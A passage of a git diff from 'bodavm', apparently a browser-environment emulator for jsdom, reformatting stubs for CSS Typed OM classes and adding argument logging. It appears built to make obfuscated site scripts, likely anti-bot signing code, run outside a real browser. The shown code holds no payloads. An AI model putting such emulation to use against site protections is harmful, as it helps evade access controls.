bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathSum': Arguments can't be empty"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathSum'], "CSSMathSum"); +bodavm.memory.globalobj['CSSMathSum'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathSum'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathSum', "values", { + configurable: true, + enumerable: true, + get: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathSum'].prototype, "CSSMathSum", "values_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSMathValue.js b/env_xbb_lastest_jsdom/env/CSSMathValue.js index ee789bd1..ce5502bc 100644 --- a/env_xbb_lastest_jsdom/env/CSSMathValue.js +++ b/env_xbb_lastest_jsdom/env/CSSMathValue.js @@ -1,6 +1,27 @@ -// CSSMathValue对象 -bodavm.memory.globalobj['CSSMathValue'] = function CSSMathValue(){if (!(this instanceof CSSMathValue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathValue'], "CSSMathValue"); -bodavm.memory.globalobj['CSSMathValue'].prototype.__proto__=bodavm.memory.globalobj['CSSNumericValue'].prototype; -bodavm.memory.globalobj['CSSMathValue'].__proto__=bodavm.memory.globalobj['CSSNumericValue']; -bodavm.toolsFunc.defineProperty('CSSMathValue', "operator", {configurable:true, enumerable:true, get:function operator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathValue'].prototype, "CSSMathValue", "operator_get", arguments)}, set:undefined},'prototype'); +// CSSMathValue对象 + +bodavm.memory.globalobj['CSSMathValue'] = function CSSMathValue() { + console.log_copy('CSSMathValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathValue'], "CSSMathValue"); +bodavm.memory.globalobj['CSSMathValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSNumericValue'].prototype; +bodavm.memory.globalobj['CSSMathValue'].__proto__ = bodavm.memory.globalobj['CSSNumericValue']; +bodavm.toolsFunc.defineProperty('CSSMathValue', "operator", { + configurable: true, + enumerable: true, + get: function operator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathValue'].prototype, "CSSMathValue", "operator_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSMatrixComponent.js b/env_xbb_lastest_jsdom/env/CSSMatrixComponent.js index 44e9565a..1b09943e 100644 --- a/env_xbb_lastest_jsdom/env/CSSMatrixComponent.js +++ b/env_xbb_lastest_jsdom/env/CSSMatrixComponent.js @@ -1,6 +1,29 @@ -// CSSMatrixComponent对象 -bodavm.memory.globalobj['CSSMatrixComponent'] = function CSSMatrixComponent(){if (!(this instanceof CSSMatrixComponent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMatrixComponent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMatrixComponent'], "CSSMatrixComponent"); -bodavm.memory.globalobj['CSSMatrixComponent'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSMatrixComponent'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSMatrixComponent', "matrix", {configurable:true, enumerable:true, get:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMatrixComponent'].prototype, "CSSMatrixComponent", "matrix_get", arguments)}, set:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMatrixComponent'].prototype, "CSSMatrixComponent", "matrix_set", arguments)}},'prototype'); +// CSSMatrixComponent对象 + +bodavm.memory.globalobj['CSSMatrixComponent'] = function CSSMatrixComponent() { + console.log_copy('CSSMatrixComponent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMatrixComponent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMatrixComponent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMatrixComponent'], "CSSMatrixComponent"); +bodavm.memory.globalobj['CSSMatrixComponent'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSMatrixComponent'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSMatrixComponent', "matrix", { + configurable: true, + enumerable: true, + get: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMatrixComponent'].prototype, "CSSMatrixComponent", "matrix_get", arguments); + }, + set: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMatrixComponent'].prototype, "CSSMatrixComponent", "matrix_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSMediaRule.js b/env_xbb_lastest_jsdom/env/CSSMediaRule.js index a485b7ae..ff115e6f 100644 --- a/env_xbb_lastest_jsdom/env/CSSMediaRule.js +++ b/env_xbb_lastest_jsdom/env/CSSMediaRule.js @@ -1,6 +1,29 @@ -// CSSMediaRule对象 -bodavm.memory.globalobj['CSSMediaRule'] = function CSSMediaRule(){if (!(this instanceof CSSMediaRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMediaRule'], "CSSMediaRule"); -bodavm.memory.globalobj['CSSMediaRule'].prototype.__proto__=bodavm.memory.globalobj['CSSConditionRule'].prototype; -bodavm.memory.globalobj['CSSMediaRule'].__proto__=bodavm.memory.globalobj['CSSConditionRule']; -bodavm.toolsFunc.defineProperty('CSSMediaRule', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMediaRule'].prototype, "CSSMediaRule", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMediaRule'].prototype, "CSSMediaRule", "media_set", arguments)}},'prototype'); +// CSSMediaRule对象 + +bodavm.memory.globalobj['CSSMediaRule'] = function CSSMediaRule() { + console.log_copy('CSSMediaRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMediaRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMediaRule'], "CSSMediaRule"); +bodavm.memory.globalobj['CSSMediaRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSConditionRule'].prototype; +bodavm.memory.globalobj['CSSMediaRule'].__proto__ = bodavm.memory.globalobj['CSSConditionRule']; +bodavm.toolsFunc.defineProperty('CSSMediaRule', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMediaRule'].prototype, "CSSMediaRule", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMediaRule'].prototype, "CSSMediaRule", "media_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSNamespaceRule.js b/env_xbb_lastest_jsdom/env/CSSNamespaceRule.js index 712788d5..9fb2860a 100644 --- a/env_xbb_lastest_jsdom/env/CSSNamespaceRule.js +++ b/env_xbb_lastest_jsdom/env/CSSNamespaceRule.js @@ -1,7 +1,35 @@ -// CSSNamespaceRule对象 -bodavm.memory.globalobj['CSSNamespaceRule'] = function CSSNamespaceRule(){if (!(this instanceof CSSNamespaceRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNamespaceRule'], "CSSNamespaceRule"); -bodavm.memory.globalobj['CSSNamespaceRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSNamespaceRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSNamespaceRule', "namespaceURI", {configurable:true, enumerable:true, get:function namespaceURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNamespaceRule'].prototype, "CSSNamespaceRule", "namespaceURI_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNamespaceRule', "prefix", {configurable:true, enumerable:true, get:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNamespaceRule'].prototype, "CSSNamespaceRule", "prefix_get", arguments)}, set:undefined},'prototype'); +// CSSNamespaceRule对象 + +bodavm.memory.globalobj['CSSNamespaceRule'] = function CSSNamespaceRule() { + console.log_copy('CSSNamespaceRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSNamespaceRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNamespaceRule'], "CSSNamespaceRule"); +bodavm.memory.globalobj['CSSNamespaceRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSNamespaceRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSNamespaceRule', "namespaceURI", { + configurable: true, + enumerable: true, + get: function namespaceURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNamespaceRule'].prototype, "CSSNamespaceRule", "namespaceURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNamespaceRule', "prefix", { + configurable: true, + enumerable: true, + get: function prefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNamespaceRule'].prototype, "CSSNamespaceRule", "prefix_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSNumericArray.js b/env_xbb_lastest_jsdom/env/CSSNumericArray.js index 629f7629..c6c04535 100644 --- a/env_xbb_lastest_jsdom/env/CSSNumericArray.js +++ b/env_xbb_lastest_jsdom/env/CSSNumericArray.js @@ -1,8 +1,57 @@ -// CSSNumericArray对象 -bodavm.memory.globalobj['CSSNumericArray'] = function CSSNumericArray(){if (!(this instanceof CSSNumericArray)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNumericArray'], "CSSNumericArray"); -bodavm.toolsFunc.defineProperty('CSSNumericArray', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericArray', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericArray', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericArray', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericArray', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "length_get", arguments)}, set:undefined},'prototype'); +// CSSNumericArray对象 + +bodavm.memory.globalobj['CSSNumericArray'] = function CSSNumericArray() { + console.log_copy('CSSNumericArray 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSNumericArray)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNumericArray'], "CSSNumericArray"); +bodavm.toolsFunc.defineProperty('CSSNumericArray', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericArray', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericArray', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericArray', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericArray', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "length_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSNumericValue.js b/env_xbb_lastest_jsdom/env/CSSNumericValue.js index 3a354897..a6a63ca2 100644 --- a/env_xbb_lastest_jsdom/env/CSSNumericValue.js +++ b/env_xbb_lastest_jsdom/env/CSSNumericValue.js @@ -1,16 +1,107 @@ -// CSSNumericValue对象 -bodavm.memory.globalobj['CSSNumericValue'] = function CSSNumericValue(){if (!(this instanceof CSSNumericValue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNumericValue'], "CSSNumericValue"); -bodavm.memory.globalobj['CSSNumericValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSNumericValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; -bodavm.toolsFunc.defineProperty('CSSNumericValue', "parse", {configurable:true, enumerable:true, writable:true, value:function parse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].undefined, "CSSNumericValue", "parse", arguments)}}); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "add", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "div", {configurable:true, enumerable:true, writable:true, value:function div (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "div", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "equals", {configurable:true, enumerable:true, writable:true, value:function equals (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "equals", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "max", {configurable:true, enumerable:true, writable:true, value:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "max", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "min", {configurable:true, enumerable:true, writable:true, value:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "min", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "mul", {configurable:true, enumerable:true, writable:true, value:function mul (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "mul", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "sub", {configurable:true, enumerable:true, writable:true, value:function sub (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "sub", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "to", {configurable:true, enumerable:true, writable:true, value:function to (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "to", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "toSum", {configurable:true, enumerable:true, writable:true, value:function toSum (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "toSum", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "type", {configurable:true, enumerable:true, writable:true, value:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "type", arguments)}},'prototype'); +// CSSNumericValue对象 + +bodavm.memory.globalobj['CSSNumericValue'] = function CSSNumericValue() { + console.log_copy('CSSNumericValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSNumericValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNumericValue'], "CSSNumericValue"); +bodavm.memory.globalobj['CSSNumericValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSNumericValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; +bodavm.toolsFunc.defineProperty('CSSNumericValue', "parse", { + configurable: true, + enumerable: true, + writable: true, + value: function parse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].undefined, "CSSNumericValue", "parse", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "div", { + configurable: true, + enumerable: true, + writable: true, + value: function div() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "div", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "equals", { + configurable: true, + enumerable: true, + writable: true, + value: function equals() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "equals", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "max", { + configurable: true, + enumerable: true, + writable: true, + value: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "max", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "min", { + configurable: true, + enumerable: true, + writable: true, + value: function min() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "min", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "mul", { + configurable: true, + enumerable: true, + writable: true, + value: function mul() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "mul", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "sub", { + configurable: true, + enumerable: true, + writable: true, + value: function sub() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "sub", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "to", { + configurable: true, + enumerable: true, + writable: true, + value: function to() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "to", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "toSum", { + configurable: true, + enumerable: true, + writable: true, + value: function toSum() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "toSum", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericValue', "type", { + configurable: true, + enumerable: true, + writable: true, + value: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "type", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSPageRule.js b/env_xbb_lastest_jsdom/env/CSSPageRule.js index eb9b4bc6..26769cdf 100644 --- a/env_xbb_lastest_jsdom/env/CSSPageRule.js +++ b/env_xbb_lastest_jsdom/env/CSSPageRule.js @@ -1,7 +1,39 @@ -// CSSPageRule对象 -bodavm.memory.globalobj['CSSPageRule'] = function CSSPageRule(){if (!(this instanceof CSSPageRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPageRule'], "CSSPageRule"); -bodavm.memory.globalobj['CSSPageRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSPageRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSPageRule', "selectorText", {configurable:true, enumerable:true, get:function selectorText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "selectorText_get", arguments)}, set:function selectorText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "selectorText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSPageRule', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "style_set", arguments)}},'prototype'); +// CSSPageRule对象 + +bodavm.memory.globalobj['CSSPageRule'] = function CSSPageRule() { + console.log_copy('CSSPageRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSPageRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPageRule'], "CSSPageRule"); +bodavm.memory.globalobj['CSSPageRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSPageRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSPageRule', "selectorText", { + configurable: true, + enumerable: true, + get: function selectorText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "selectorText_get", arguments); + }, + set: function selectorText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "selectorText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSPageRule', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "style_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSPerspective.js b/env_xbb_lastest_jsdom/env/CSSPerspective.js index 52713eb8..437a38e8 100644 --- a/env_xbb_lastest_jsdom/env/CSSPerspective.js +++ b/env_xbb_lastest_jsdom/env/CSSPerspective.js @@ -1,6 +1,29 @@ -// CSSPerspective对象 -bodavm.memory.globalobj['CSSPerspective'] = function CSSPerspective(){if (!(this instanceof CSSPerspective)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSPerspective': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPerspective'], "CSSPerspective"); -bodavm.memory.globalobj['CSSPerspective'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSPerspective'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSPerspective', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPerspective'].prototype, "CSSPerspective", "length_get", arguments)}, set:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPerspective'].prototype, "CSSPerspective", "length_set", arguments)}},'prototype'); +// CSSPerspective对象 + +bodavm.memory.globalobj['CSSPerspective'] = function CSSPerspective() { + console.log_copy('CSSPerspective 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSPerspective)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSPerspective': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPerspective'], "CSSPerspective"); +bodavm.memory.globalobj['CSSPerspective'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSPerspective'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSPerspective', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPerspective'].prototype, "CSSPerspective", "length_get", arguments); + }, + set: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPerspective'].prototype, "CSSPerspective", "length_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSPositionValue.js b/env_xbb_lastest_jsdom/env/CSSPositionValue.js index 44a9fbfa..7772ceef 100644 --- a/env_xbb_lastest_jsdom/env/CSSPositionValue.js +++ b/env_xbb_lastest_jsdom/env/CSSPositionValue.js @@ -1,7 +1,39 @@ -// CSSPositionValue对象 -bodavm.memory.globalobj['CSSPositionValue'] = function CSSPositionValue(){if (!(this instanceof CSSPositionValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSPositionValue': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPositionValue'], "CSSPositionValue"); -bodavm.memory.globalobj['CSSPositionValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSPositionValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; -bodavm.toolsFunc.defineProperty('CSSPositionValue', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSPositionValue', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "y_set", arguments)}},'prototype'); +// CSSPositionValue对象 